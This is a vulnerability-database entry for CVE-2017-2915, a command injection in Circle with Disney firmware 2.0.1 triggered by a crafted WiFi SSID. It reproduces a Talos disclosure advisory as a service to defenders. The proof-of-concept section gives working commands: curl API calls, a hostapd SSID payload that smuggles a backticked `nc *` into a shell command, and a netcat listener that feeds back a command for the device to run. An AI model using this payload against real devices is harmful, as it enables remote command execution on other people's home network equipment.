Vulnerabilities > CVE-2017-2915 - Unspecified vulnerability in Meetcircle Circle With Disney Firmware 2.0.1

047910
CVSS 8.0 - HIGH
Attack vector
ADJACENT_NETWORK
Attack complexity
LOW
Privileges required
LOW
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
low complexity
meetcircle

Summary

An exploitable vulnerability exists in the WiFi configuration functionality of Circle with Disney running firmware 2.0.1. A specially crafted SSID can cause the device to execute arbitrary shell commands. An attacker needs to send a couple of HTTP requests and setup an access point reachable by the device to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
OS
Meetcircle
1
Hardware
Meetcircle
1

Seebug

bulletinFamilyexploit
description### Summary An exploitable vulnerability exists in the WiFi configuration functionality of Circle with Disney running firmware 2.0.1. A specially crafted SSID can cause the device to execute arbitrary shell commands. An attacker needs to send a couple of HTTP requests and setup an access point reachable by the device to trigger this vulnerability. ### Tested Versions Circle with Disney 2.0.1 ### Product URLs https://meetcircle.com/ ### CVSSv3 Score 9.0 - CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H ### CWE CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') ### Details Circle with Disney is a network device used to monitor internet use of children on a given network. Circle can connect to a home network either via WiFi or wired connection. WiFi is set-up during the initial configuration but can also be modified in a later stage via API commands. When the wired interface is working, WiFi is not in use. The monitor function `sub_40AD84` in the `configd` binary keeps track of the wired interface connectivity by reading the file `/sys/class/net/eth0/carrier` every second. If a disconnection is detected (e.g. when the ethernet cable gets disconnected), it tries to switch to the WiFi interface by calling `sub_40A9D4`. At high level this function works as follow: ``` def sub_40A9D4(): ssid = conf_get("wifi/ssid") encryption = conf_get("wifi/encryption") key = conf_get("wifi/key") if !exists("/tmp/ap_list.out"): system("/mnt/shares/usr/bin/scripts/aplist_create.sh") # [1] (channel, security, hidden) = parse_ap_list(ssid) # [2] write_file("/tmp/wifi_ssid", ssid) write_file("/tmp/wifi_ssid_escaped", escape(ssid)) write_file("/tmp/wifi_password", key) system('/mnt/shares/usr/bin/scripts/restart_wifi.sh %s "%s" "%s" ' % \ # [3] (channel, security, hidden)) ``` Note that `conf_get` refers to the operation of retrieving an element from "configure.xml". In short, `sub_40A9D4` retrieves the configured SSID from "configure.xml", then using `parse_ap_list` (sub_40A640) [2] retrieves the current channel, security (WPA2, WEP or none) and whether the SSID is hidden or not, from a recent Access Point scan. These parameters are then passed without sanitization to the `restart_wifi.sh` script using `system()` [3]. `aplist_create.sh` [1] will be called if "ap_list.out" doesn't exist, but can be also arbitrarily invoked using the API command `/api/SCAN`. The contents of `aplist_create.sh` are: ``` #!/bin/sh ifconfig ra0 up iwinfo ra0 scan > /tmp/ap_list.out # [4] ``` `iwinfo` [4] prints a list of Access Points detected by `ra0`, every entry has the following form: ``` Cell 01 - Address: 11:22:33:44:55:66 ESSID: "valid-ssid" Mode: Master Channel: 1 Signal: -22 dBm Quality: 70/70 Encryption: WPA2 PSK (CCMP) ``` Then `parse_ap_list` [2] parses each of these entries in "ap_list.out", to find the expected SSID and returns its related "Encryption" and "Channel" values. At high level it works as follows: ``` def parse_ap_list(ssid): essid_str = 'ESSID: "%s"' % ssid ch_str = 'Channel: ' enc_str = ' Encryption: ' channel = '' encryption = '' aplist = open("/tmp/ap_list.out") for line in aplist.next(): # for each line in ap_list.out if essid_str not in line: continue # proceed only with expected SSID line = aplist.next() # get next line if ch_str in line: channel = str(int(line[line.index(ch_str) + len(ch_str):])) # extract integer after ch_str elif enc_str in line: encryption = line[line.index(enc_str) + len(enc_str):] # extract text after enc_str return (channel, encryption) ... ``` An SSID field in an 802.11 frame has a maximum length of 32 bytes and can contain any character. Moreover, iwinfo will print the characters found in the SSID without escaping. This means that an attacker may use an SSID containing new-line characters to add arbitrary lines to the iwinfo output. Example: ``` "\n Encryption: custom ``` If the SSID above is broadcasted, `iwinfo` will output an entry like the following: ``` Cell 01 - Address: 11:22:33:44:55:66 ESSID: "" Encryption: custom Mode: Master Channel: 1 Signal: -22 dBm Quality: 70/70 Encryption: WPA2 PSK (CCMP) ``` This allows an attacker to control the encryption string returned by `parse_ap_list`, which gets passed to `system()` at [3]. Since the maximum SSID length is 32 bytes, and the custom string starts at byte 24th, an attacker can inject a maximum of 8 characters. ### Exploit Proof-of-Concept The following proof of concept shows how to run an arbitrary command on the device, in this case the script `power_down.sh` is executed. Some conditions need to be satisfied for this PoC to work, even though other less restrictive methods might exist: - possession of a valid token. ``` - ability to answer DNS requests originated from the device (e.g. via MITM). - ability to setup an access point reachable by the device. - ability to unplug and replug any end of the device's ethernet cable (e.g. power-cycle a connected switch). ``` Steps: ``` -- configure the SSID name (empty) $ curl -k "https://${sIP}:4567/api/UPDATE/wifi/ssid?token=${sToken}&value=" -- configure a hotspot for injection $ cat << 'EOF' > hostapd.conf interface=wlan0 channel=1 ssid2=P"\"\n Encryption: \";`nc *`" EOF $ hostapd -B ./hostapd.conf -- force an AP scan, so that ap_list.out will contain the crafted SSID $ curl -k "https://${sIP}:4567/api/SCAN?token=${sToken}" -- make any connection to port 0 be redirected to port 8888 $ iptables -t nat -I PREROUTING -p tcp --dport 0 -j REDIRECT --to-ports 8888 -- listen on port 8888 and send the command to execute on the device $ echo "/mnt/shares/usr/bin/scripts/circle/power_down.sh" | nc -nlp 8888 -- unplug and replug the ethernet cable, after a few seconds the command above should be executed ``` The command executed by `system()` in this case will be ``` sh -c /mnt/shares/usr/bin/scripts/restart_wifi.sh "";`nc *`"" "" ``` This will in turn execute the command `nc *`. Execution happens from the directory `/tmp/service/configd` which has the following contents: ``` # ls -1 /tmp/service/configd run supervise ``` The command `nc *` will then expand to `nc run supervise`: ``` - "run" is the hostname, and it will generate a DNS request that must be answered with the attacker machine's IP address which is listening on port 8888. - "supervise" is converted to an int, which corresponds to port 0. ``` `nc` will establish a connection with the attacker's machine on port 0, which will be internally redirected to port 8888. After the connection is closed, the output of the conversation will be executed as a command because of the backticks surrounding the `nc` command. ### Timeline * 2017-08-29 - Vendor Disclosure * 2017-10-31 - Public Release
idSSV:96827
last seen2017-11-19
modified2017-11-09
published2017-11-09
reporterRoot
titleCircle with Disney WiFi Restart SSID Parsing Command Injection Vulnerability(CVE-2017-2915)

Talos

idTALOS-2017-0422
last seen2019-05-29
published2017-10-31
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0422
titleCircle with Disney WiFi Restart SSID Parsing Command Injection Vulnerability